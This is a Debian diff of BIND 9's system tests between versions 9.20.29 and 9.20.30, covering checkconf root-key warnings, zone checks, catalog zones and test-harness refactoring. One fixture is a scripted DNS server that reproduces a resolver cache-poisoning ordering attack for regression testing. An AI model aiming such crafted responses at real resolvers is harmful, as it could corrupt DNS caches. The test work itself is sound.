checkconf.out$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that named-checkconf -h doesn't error ($n)" +ret=0 +$CHECKCONF "-h" >checkconf.out$n 2>&1 || ret=1 +grep "usage: named-checkconf" checkconf.out$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) echo_i "checking that named-checkconf prints a known good config ($n)" ret=0 awk 'BEGIN { ok = 0; } /cut here/ { ok = 1; getline } ok == 1 { print }' good.conf >good.conf.raw @@ -61,6 +77,10 @@ if [ $rc -ne 1 ]; then ret=1; fi grep "^$bad:[0-9]*: " /dev/null || ret=1 case $bad in + bad-embedded-null-02.conf) + pat="string contains embedded NUL" + grep "$pat" /dev/null || ret=1 + ;; bad-update-policy[123].conf) pat="identity and name fields are not the same" grep "$pat" /dev/null || ret=1 @@ -558,7 +578,7 @@ status=$((status + ret)) n=$((n + 1)) -echo_i "check that the 2010 ICANN ROOT KSK without the 2017 ICANN ROOT KSK generates a warning ($n)" +echo_i "check that the 2010 ICANN ROOT KSK without the 2026 ICANN ROOT KSK generates a warning ($n)" ret=0 $CHECKCONF check-root-ksk-2010.conf >checkconf.out$n 2>/dev/null || ret=1 [ -s checkconf.out$n ] || ret=1 @@ -570,10 +590,11 @@ status=$((status + ret)) n=$((n + 1)) -echo_i "check that the 2010 ICANN ROOT KSK with the 2017 ICANN ROOT KSK does not generate a warning ($n)" +echo_i "check that the 2017 ICANN ROOT KSK without the 2026 ICANN ROOT KSK generates a warning ($n)" ret=0 -$CHECKCONF check-root-ksk-both.conf >checkconf.out$n 2>/dev/null || ret=1 -[ -s checkconf.out$n ] && ret=1 +$CHECKCONF check-root-ksk-2017.conf >checkconf.out$n 2>/dev/null || ret=1 +[ -s checkconf.out$n ] || ret=1 +grep "key without the updated" /dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed" ret=1 @@ -581,16 +602,43 @@ status=$((status + ret)) n=$((n + 1)) -echo_i "check that the 2017 ICANN ROOT KSK alone does not generate a warning ($n)" +echo_i "check that the 2010 ICANN ROOT KSK with the 2017 ICANN ROOT KSK generates a warning ($n)" ret=0 -$CHECKCONF check-root-ksk-2017.conf >checkconf.out$n 2>/dev/null || ret=1 -[ -s checkconf.out$n ] && ret=1 +$CHECKCONF check-root-ksk-both.conf >checkconf.out$n 2>/dev/null || ret=1 +[ -s checkconf.out$n ] || ret=1 if [ $ret -ne 0 ]; then echo_i "failed" ret=1 fi status=$((status + ret)) +# By 23:59 11 October 2026 the IANA root zone should be being signed with the +# 2026 trust anchor. Prior to that check that we are warning that we are +# missing the 2017 trust anchor. +if test $(date +%s) -lt 1791676800; then + n=$((n + 1)) + echo_i "check that the 2026 ICANN ROOT KSK alone generates a warning ($n)" + ret=0 + $CHECKCONF check-root-ksk-2026.conf >checkconf.out$n 2>/dev/null || ret=1 + [ -s checkconf.out$n ] || ret=1 + if [ $ret -ne 0 ]; then + echo_i "failed" + ret=1 + fi + status=$((status + ret)) +else + n=$((n + 1)) + echo_i "check that the 2026 ICANN ROOT KSK alone does not generate a warning ($n)" + ret=0 + $CHECKCONF check-root-ksk-2026.conf >checkconf.out$n 2>/dev/null || ret=1 + [ -s checkconf.out$n ] && ret=1 + if [ $ret -ne 0 ]; then + echo_i "failed" + ret=1 + fi + status=$((status + ret)) +fi + n=$((n + 1)) echo_i "check that a static root key generates a warning ($n)" ret=0 diff -Nru bind9-9.20.29/bin/tests/system/checkconf/tests_sh_checkconf.py bind9-9.20.30/bin/tests/system/checkconf/tests_sh_checkconf.py --- bind9-9.20.29/bin/tests/system/checkconf/tests_sh_checkconf.py 2026-09-11 19:41:01.129322065 +0000 +++ bind9-9.20.30/bin/tests/system/checkconf/tests_sh_checkconf.py 2026-10-12 13:12:07.996891124 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/checkconf_keys/tests_checkconf_keys.py bind9-9.20.30/bin/tests/system/checkconf_keys/tests_checkconf_keys.py --- bind9-9.20.29/bin/tests/system/checkconf_keys/tests_checkconf_keys.py 2026-09-11 19:41:01.131322113 +0000 +++ bind9-9.20.30/bin/tests/system/checkconf_keys/tests_checkconf_keys.py 2026-10-12 13:12:07.999891188 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/checkds/tests_checkds.py bind9-9.20.30/bin/tests/system/checkds/tests_checkds.py --- bind9-9.20.29/bin/tests/system/checkds/tests_checkds.py 2026-09-11 19:41:01.134322186 +0000 +++ bind9-9.20.30/bin/tests/system/checkds/tests_checkds.py 2026-10-12 13:12:08.002891252 +0000 @@ -1,17 +1,14 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - from typing import NamedTuple import os diff -Nru bind9-9.20.29/bin/tests/system/checknames/tests_sh_checknames.py bind9-9.20.30/bin/tests/system/checknames/tests_sh_checknames.py --- bind9-9.20.29/bin/tests/system/checknames/tests_sh_checknames.py 2026-09-11 19:41:01.136322234 +0000 +++ bind9-9.20.30/bin/tests/system/checknames/tests_sh_checknames.py 2026-10-12 13:12:08.004891295 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/checkzone/tests.sh bind9-9.20.30/bin/tests/system/checkzone/tests.sh --- bind9-9.20.29/bin/tests/system/checkzone/tests.sh 2026-09-11 19:41:01.136322234 +0000 +++ bind9-9.20.30/bin/tests/system/checkzone/tests.sh 2026-10-12 13:12:08.004891295 +0000 @@ -247,6 +247,14 @@ if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) +echo_i "checking that raw zone issue described in GL#6141 is handled ($n)" +ret=0 +$CHECKZONE -f raw example.net zones/bad-outofspace-GL6141.raw >test.out.$n 2>&1 && ret=1 +grep "dns_master_load: ran out of space" test.out.$n >/dev/null || ret=1 +n=$((n + 1)) +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + echo_i "checking that expirations that loop using serial arithmetic are handled ($n)" ret=0 q=-q diff -Nru bind9-9.20.29/bin/tests/system/checkzone/tests_sh_checkzone.py bind9-9.20.30/bin/tests/system/checkzone/tests_sh_checkzone.py --- bind9-9.20.29/bin/tests/system/checkzone/tests_sh_checkzone.py 2026-09-11 19:41:01.136322234 +0000 +++ bind9-9.20.30/bin/tests/system/checkzone/tests_sh_checkzone.py 2026-10-12 13:12:08.004891295 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional Binary files /srv/release.debian.org/tmp/Qt4XHBDe3O/bind9-9.20.29/bin/tests/system/checkzone/zones/bad-outofspace-GL6141.raw and /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkzone/zones/bad-outofspace-GL6141.raw differ diff -Nru bind9-9.20.29/bin/tests/system/cipher_suites/setup.sh bind9-9.20.30/bin/tests/system/cipher_suites/setup.sh --- bind9-9.20.29/bin/tests/system/cipher_suites/setup.sh 2026-09-11 19:41:01.150322572 +0000 +++ bind9-9.20.30/bin/tests/system/cipher_suites/setup.sh 2026-10-12 13:12:08.047892214 +0000 @@ -13,10 +13,9 @@ . ../conf.sh -# Drop unusual RR sets dnspython can't handle. For more information +# Drop unusual RR sets that dnspython can't handle. For more information # see https://github.com/rthalley/dnspython/issues/1034#issuecomment-1896541899. $SHELL "${TOP_SRCDIR}/bin/tests/system/genzone.sh" 2 \ | sed \ -e '/AMTRELAY.*\# 2 0004/d' \ - -e '/GPOS.*"" "" ""/d' \ - -e '/URI.*30 40 ""/d' >ns1/example.db + -e '/GPOS.*"" "" ""/d' >ns1/example.db diff -Nru bind9-9.20.29/bin/tests/system/cipher_suites/tests_cipher_suites.py bind9-9.20.30/bin/tests/system/cipher_suites/tests_cipher_suites.py --- bind9-9.20.29/bin/tests/system/cipher_suites/tests_cipher_suites.py 2026-09-11 19:41:01.150322572 +0000 +++ bind9-9.20.30/bin/tests/system/cipher_suites/tests_cipher_suites.py 2026-10-12 13:12:08.047892214 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/class/tests_class_chaos.py bind9-9.20.30/bin/tests/system/class/tests_class_chaos.py --- bind9-9.20.29/bin/tests/system/class/tests_class_chaos.py 2026-09-11 19:41:01.151322597 +0000 +++ bind9-9.20.30/bin/tests/system/class/tests_class_chaos.py 2026-10-12 13:12:08.048892236 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import dns.opcode import pytest diff -Nru bind9-9.20.29/bin/tests/system/class/tests_class_update.py bind9-9.20.30/bin/tests/system/class/tests_class_update.py --- bind9-9.20.29/bin/tests/system/class/tests_class_update.py 2026-09-11 19:41:01.151322597 +0000 +++ bind9-9.20.30/bin/tests/system/class/tests_class_update.py 2026-10-12 13:12:08.048892236 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cname_dname_negcache/ans2/ans.py bind9-9.20.30/bin/tests/system/cname_dname_negcache/ans2/ans.py --- bind9-9.20.29/bin/tests/system/cname_dname_negcache/ans2/ans.py 2026-09-11 19:41:01.151322597 +0000 +++ bind9-9.20.30/bin/tests/system/cname_dname_negcache/ans2/ans.py 2026-10-12 13:12:08.048892236 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -17,13 +15,10 @@ from dns import name, rcode, rdataclass, rdatatype, rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QnameQtypeHandler, - QueryContext, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Qname, Qtype # The attack relies on the resolver caching the positive CNAME/DNAME answer # *before* it processes the negative answer for the same name. The negative @@ -67,16 +62,14 @@ return rrset.from_text(qname, ttl, rdataclass.IN, rtype, rdata) -class FooTestNsHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["foo.test."] - qtypes = [rdatatype.NS] +class FooTestNsHandler(StaticResponseHandler): + matcher = Qname("foo.test.") & Qtype(rdatatype.NS) answer = [build_rrset("foo.test.", rdatatype.NS, "ns.foo.test.")] additional = [build_rrset("ns.foo.test.", rdatatype.A, "10.53.0.2")] -class DelayedDnameNegHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["foo.test."] - qtypes = [rdatatype.DNAME] +class DelayedDnameNegHandler(StaticResponseHandler): + matcher = Qname("foo.test.") & Qtype(rdatatype.DNAME) authority = [ build_rrset( "foo.test.", @@ -93,9 +86,8 @@ yield response -class DnamePosHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["a.foo.test."] - qtypes = [rdatatype.A] +class DnamePosHandler(StaticResponseHandler): + matcher = Qname("a.foo.test.") & Qtype(rdatatype.A) answer = [ build_rrset("foo.test.", rdatatype.DNAME, "bar.test."), build_rrset("a.foo.test.", rdatatype.CNAME, "a.bar.test."), @@ -109,9 +101,8 @@ _dname_positive_sent.set() -class CnameHandler(QnameQtypeHandler): - qnames = ["cname.foo.test."] - qtypes = [rdatatype.CNAME, rdatatype.A] +class CnameHandler(ResponseHandler): + matcher = Qname("cname.foo.test.") & Qtype(rdatatype.CNAME, rdatatype.A) answer = [build_rrset("cname.foo.test.", rdatatype.CNAME, "cname.foo.test.")] authority = [ build_rrset( diff -Nru bind9-9.20.29/bin/tests/system/cname_dname_negcache/common.py bind9-9.20.30/bin/tests/system/cname_dname_negcache/common.py --- bind9-9.20.29/bin/tests/system/cname_dname_negcache/common.py 2026-09-11 19:41:01.151322597 +0000 +++ bind9-9.20.30/bin/tests/system/cname_dname_negcache/common.py 2026-10-12 13:12:08.048892236 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cname_dname_negcache/tests_cname_negcache.py bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_cname_negcache.py --- bind9-9.20.29/bin/tests/system/cname_dname_negcache/tests_cname_negcache.py 2026-09-11 19:41:01.151322597 +0000 +++ bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_cname_negcache.py 2026-10-12 13:12:08.049892257 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cname_dname_negcache/tests_dname_negcache.py bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_dname_negcache.py --- bind9-9.20.29/bin/tests/system/cname_dname_negcache/tests_dname_negcache.py 2026-09-11 19:41:01.152322621 +0000 +++ bind9-9.20.30/bin/tests/system/cname_dname_negcache/tests_dname_negcache.py 2026-10-12 13:12:08.049892257 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cname_recursion/ns2/internal.db bind9-9.20.30/bin/tests/system/cname_recursion/ns2/internal.db --- bind9-9.20.29/bin/tests/system/cname_recursion/ns2/internal.db 2026-09-11 19:41:01.152322621 +0000 +++ bind9-9.20.30/bin/tests/system/cname_recursion/ns2/internal.db 2026-10-12 13:12:08.049892257 +0000 @@ -14,3 +14,4 @@ internal. NS ns2.internal. ns2.internal. A 10.53.0.2 alias.internal. CNAME target.external. +mx.internal. MX 10 ns1.member. diff -Nru bind9-9.20.29/bin/tests/system/cname_recursion/ns2/named.conf.j2 bind9-9.20.30/bin/tests/system/cname_recursion/ns2/named.conf.j2 --- bind9-9.20.29/bin/tests/system/cname_recursion/ns2/named.conf.j2 2026-09-11 19:41:01.152322621 +0000 +++ bind9-9.20.30/bin/tests/system/cname_recursion/ns2/named.conf.j2 2026-10-12 13:12:08.050892278 +0000 @@ -19,6 +19,8 @@ options { {% include_indented "_common/options.conf.j2" %} dnssec-validation no; + minimal-responses no; + nxdomain-redirect "member"; allow-query { any; }; allow-new-zones yes; catalog-zones { diff -Nru bind9-9.20.29/bin/tests/system/cname_recursion/tests_cname_recursion.py bind9-9.20.30/bin/tests/system/cname_recursion/tests_cname_recursion.py --- bind9-9.20.29/bin/tests/system/cname_recursion/tests_cname_recursion.py 2026-09-11 19:41:01.152322621 +0000 +++ bind9-9.20.30/bin/tests/system/cname_recursion/tests_cname_recursion.py 2026-10-12 13:12:08.050892278 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -85,3 +85,39 @@ msg = isctest.query.create("alias.member.", "A") res = isctest.query.udp(msg, ns2.ip) assert_full_chain(res, "alias.member.", "target3.external.", "10.0.0.97") + + +@pytest.mark.requires_zones_loaded("ns1", "ns2") +def test_additional_from_catz_member_zone(ns2): + with ns2.watch_log_from_start() as watcher: + watcher.wait_for_line("zone member/IN: transferred serial 1") + + msg = isctest.query.create("mx.internal.", "MX") + res = isctest.query.udp(msg, ns2.ip) + isctest.check.noerror(res) + address = res.get_rrset( + res.additional, + dns.name.from_text("ns1.member."), + dns.rdataclass.IN, + dns.rdatatype.A, + ) + assert address is not None + + +@pytest.mark.requires_zones_loaded("ns1", "ns2") +def test_nxdomain_redirect_to_catz_member_zone(ns2): + with ns2.watch_log_from_start() as watcher: + watcher.wait_for_line("zone member/IN: transferred serial 1") + + # NXDOMAIN for ns1. is redirected to ns1.member. + msg = isctest.query.create("ns1.", "A") + res = isctest.query.udp(msg, ns2.ip) + isctest.check.noerror(res) + answer = res.get_rrset( + res.answer, + dns.name.from_text("ns1."), + dns.rdataclass.IN, + dns.rdatatype.A, + ) + assert answer is not None + assert str(answer[0]) == "10.53.0.1" diff -Nru bind9-9.20.29/bin/tests/system/conf.sh bind9-9.20.30/bin/tests/system/conf.sh --- bind9-9.20.29/bin/tests/system/conf.sh 2026-09-11 19:41:01.153322645 +0000 +++ bind9-9.20.30/bin/tests/system/conf.sh 2026-10-12 13:12:08.050892278 +0000 @@ -18,12 +18,14 @@ eval "$(PYTHONPATH="$SCRIPT_DIR:$PYTHONPATH" /usr/bin/env python3 -m isctest)" fi +# Make the isctest package importable from test scripts, notably for the +# standalone helper tools ($PYTHON -m isctest.tools.). Append any +# inherited PYTHONPATH only when it is non-empty: a trailing colon would +# add an empty element, which Python turns into the current directory. +export PYTHONPATH="$TOP_BUILDDIR/bin/tests/system${PYTHONPATH:+:$PYTHONPATH}" + testsock6() { - if test -n "$PERL" && $PERL -e "use IO::Socket::IP;" 2>/dev/null; then - $PERL "$TOP_SRCDIR/bin/tests/system/testsock6.pl" "$@" - else - false - fi + $PYTHON -m isctest.tools.testsock "$@" } echofail() { @@ -214,10 +216,19 @@ _zone=$1 _algorithm=$2 _keyfile=$3 + _secalg=$2 + case $_secalg in + 256) _secalg=254 ;; # RSASHA256OID + 257) _secalg=254 ;; # RSASHA512OID + esac _id=$(keyfile_to_key_id "$_keyfile") - printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id" + if test "$_algorithm" -lt 256; then + printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_secalg" "$_id" + else + printf "%s. 0 IN TYPE65534 %s 7 %02x%04x0000%04x\n" "$_zone" "\\#" "$_secalg" "$_id" "$_algorithm" + fi } # nextpart*() - functions for reading files incrementally diff -Nru bind9-9.20.29/bin/tests/system/conftest.py bind9-9.20.30/bin/tests/system/conftest.py --- bind9-9.20.29/bin/tests/system/conftest.py 2026-09-11 19:41:01.153322645 +0000 +++ bind9-9.20.30/bin/tests/system/conftest.py 2026-10-12 13:12:08.050892278 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -12,6 +12,7 @@ from pathlib import Path from re import compile as Re +import errno import filecmp import os import shutil @@ -28,6 +29,7 @@ from isctest.vars.dirs import SYSTEM_TEST_DIR_GIT_PATH import isctest +import isctest.tools.testsock # pylint: enable=wrong-import-position @@ -60,7 +62,6 @@ PRIORITY_TESTS_RE = Re("|".join(PRIORITY_TESTS)) SYSTEM_TEST_NAME_RE = Re(f"{SYSTEM_TEST_DIR_GIT_PATH}" + r"/([^/]+)") -SYMLINK_REPLACEMENT_RE = Re(r"/tests_(.*)\.py") # ---- Fix pytest-xdist loadscope for node IDs containing "::" ---------- @@ -124,7 +125,7 @@ # from previous runs could mess with the runner. Also ignore the # convenience symlinks to those test directories. In both of those # cases, the system test name (directory) contains a hyphen, which - # is otherwise and invalid character for a system test name. + # is otherwise an invalid character for a system test name. match = SYSTEM_TEST_NAME_RE.search(str(collection_path)) if match is None: isctest.log.warning("unexpected test path: %s (ignored)", collection_path) @@ -134,7 +135,9 @@ def pytest_collection_modifyitems(items): - """Schedule long-running tests first to get more benefit from parallelism.""" + """ + Schedule long-running tests first to get more benefit from parallelism. + """ priority = [] other = [] for item in items: @@ -170,7 +173,9 @@ @pytest.hookimpl(tryfirst=True, hookwrapper=True) def pytest_runtest_makereport(item): - """Hook that is used to expose test results to session (for use in fixtures).""" + """ + Hook that is used to expose test results to session (for use in fixtures). + """ # execute all other hooks to obtain the report object outcome = yield report = outcome.get_result() @@ -246,7 +251,9 @@ @pytest.fixture(autouse=True, scope="module") def base_port(request, module_base_ports): - """Start of the port range assigned to a particular test module.""" + """ + Start of the port range assigned to a particular test module. + """ port = module_base_ports[request.fspath] isctest.vars.ports.set_base_port(port) return port @@ -278,15 +285,31 @@ @pytest.fixture(scope="module") -def system_test_name(request): - """Name of the system test directory.""" - path = Path(request.fspath) - return path.parent.name +def system_test_source_dir(request): + """ + Directory holding the system test's files, as tracked in Git. + """ + return Path(request.fspath).parent.resolve() + + +@pytest.fixture(scope="module") +def system_test_name(system_test_source_dir): + """ + Name of the system test. + + For a test directory directly under bin/tests/system this is just its + name. A test may also live deeper, next to the code it exercises + (isctest/asyncserver/tests); then the path components are joined with + underscores, which keeps the name usable as a directory and module name. + """ + return "_".join(system_test_source_dir.relative_to(Path(FILE_DIR).resolve()).parts) @pytest.fixture(autouse=True) def wait_for_zones_loaded(request, servers): - """Wait for all zones to be loaded by specified named instances.""" + """ + Wait for all zones to be loaded by specified named instances. + """ instances = request.node.get_closest_marker("requires_zones_loaded") if not instances: return @@ -298,7 +321,9 @@ @pytest.fixture(autouse=True) def named_log_test_markers(request, servers): - """Send `rndc null` message with a test ID to each named instance.""" + """ + Send `rndc null` message with a test ID to each named instance. + """ def mark(event): for server in servers.values(): @@ -323,7 +348,9 @@ @pytest.fixture(scope="module", autouse=True) def configure_algorithm_set(request): - """Configure the algorithm set to use in tests.""" + """ + Configure the algorithm set to use in tests. + """ mark = request.node.get_closest_marker("algorithm_set") if not mark: name = None @@ -334,7 +361,9 @@ @pytest.fixture(autouse=True) def logger(request, system_test_name): - """Sets up logging facility specific to a particular test.""" + """ + Sets up logging facility specific to a particular test. + """ isctest.log.init_test_logger(system_test_name, request.node.name) yield isctest.log.deinit_test_logger() @@ -344,6 +373,9 @@ def expected_artifacts(request): common_artifacts = [ ".libs/*", # possible build artifacts, see GL #5055 + "ans*/ans.run", + "ans*/keys", + "ans*/zones", "ns*/keys", "ns*/named*.conf", "ns*/named.memstats", @@ -375,7 +407,9 @@ @pytest.fixture(scope="module") -def system_test_dir(request, system_test_name, expected_artifacts): +def system_test_dir( + request, system_test_name, system_test_source_dir, expected_artifacts +): """ Temporary directory for executing the test. @@ -385,8 +419,10 @@ """ def get_test_result(): - """Aggregate test results from all individual tests from this module - into a single result: failed > skipped > passed.""" + """ + Aggregate test results from all individual tests from this module + into a single result: failed > skipped > passed. + """ try: all_test_results = request.session.test_results except AttributeError: @@ -461,12 +497,12 @@ tempfile.mkdtemp(prefix=f"{system_test_name}-tmp-", dir=system_test_root) ) shutil.rmtree(testdir) - shutil.copytree(system_test_root / system_test_name, testdir) + shutil.copytree(system_test_source_dir, testdir) isctest.vars.dirs.set_system_test_name(testdir.name) # Create a convenience symlink with a stable and predictable name - module_name = SYMLINK_REPLACEMENT_RE.sub(r"-\1", str(request.node.path)) - symlink_dst = system_test_root / module_name + module_name = request.node.path.stem.removeprefix("tests_") + symlink_dst = system_test_root / f"{system_test_name}-{module_name}" symlink_dst.unlink(missing_ok=True) symlink_dst.symlink_to(os.path.relpath(testdir, start=system_test_root)) @@ -485,7 +521,7 @@ result = get_test_result() if result == "passed": - check_artifacts(system_test_root / system_test_name, testdir) + check_artifacts(system_test_source_dir, testdir) # Clean temporary dir unless it should be kept keep = False @@ -526,7 +562,9 @@ @pytest.fixture(scope="module") def run_tests_sh(system_test_dir): - """Utility function to execute tests.sh as a python test.""" + """ + Utility function to execute tests.sh as a python test. + """ def run_tests(): isctest.run.shell(f"{system_test_dir}/tests.sh") @@ -563,12 +601,14 @@ """ def check_net_interfaces(): + port = int(os.environ["PORT"]) try: - isctest.run.perl( - f"{os.environ['srcdir']}/testsock.pl", ["-p", os.environ["PORT"]] - ) - except subprocess.CalledProcessError as exc: - isctest.log.error("testsock.pl: exited with code %d", exc.returncode) + for check_port in range(port, port + isctest.vars.ports.PORTS_PER_TEST): + isctest.tools.testsock.check_ipv4_interfaces(check_port) + except OSError as exc: + isctest.log.error("testsock: %s", exc) + if exc.errno == errno.EADDRINUSE: + raise RuntimeError(f"test port range is in use: {exc}") from exc pytest.skip("Network interface aliases not set up.") def setup_test(): diff -Nru bind9-9.20.29/bin/tests/system/convert_junit_to_trs.py bind9-9.20.30/bin/tests/system/convert_junit_to_trs.py --- bind9-9.20.29/bin/tests/system/convert_junit_to_trs.py 2026-09-11 19:41:01.153322645 +0000 +++ bind9-9.20.30/bin/tests/system/convert_junit_to_trs.py 2026-10-12 13:12:08.050892278 +0000 @@ -1,9 +1,14 @@ -#!/usr/bin/env python3 -# # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + # Convert JUnit pytest output to automake .trs files from pathlib import Path diff -Nru bind9-9.20.29/bin/tests/system/cookie/ans10/ans.py bind9-9.20.30/bin/tests/system/cookie/ans10/ans.py --- bind9-9.20.29/bin/tests/system/cookie/ans10/ans.py 2026-09-11 19:41:01.153322645 +0000 +++ bind9-9.20.30/bin/tests/system/cookie/ans10/ans.py 2026-10-12 13:12:08.050892278 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cookie/ans9/ans.py bind9-9.20.30/bin/tests/system/cookie/ans9/ans.py --- bind9-9.20.29/bin/tests/system/cookie/ans9/ans.py 2026-09-11 19:41:01.153322645 +0000 +++ bind9-9.20.30/bin/tests/system/cookie/ans9/ans.py 2026-10-12 13:12:08.050892278 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # 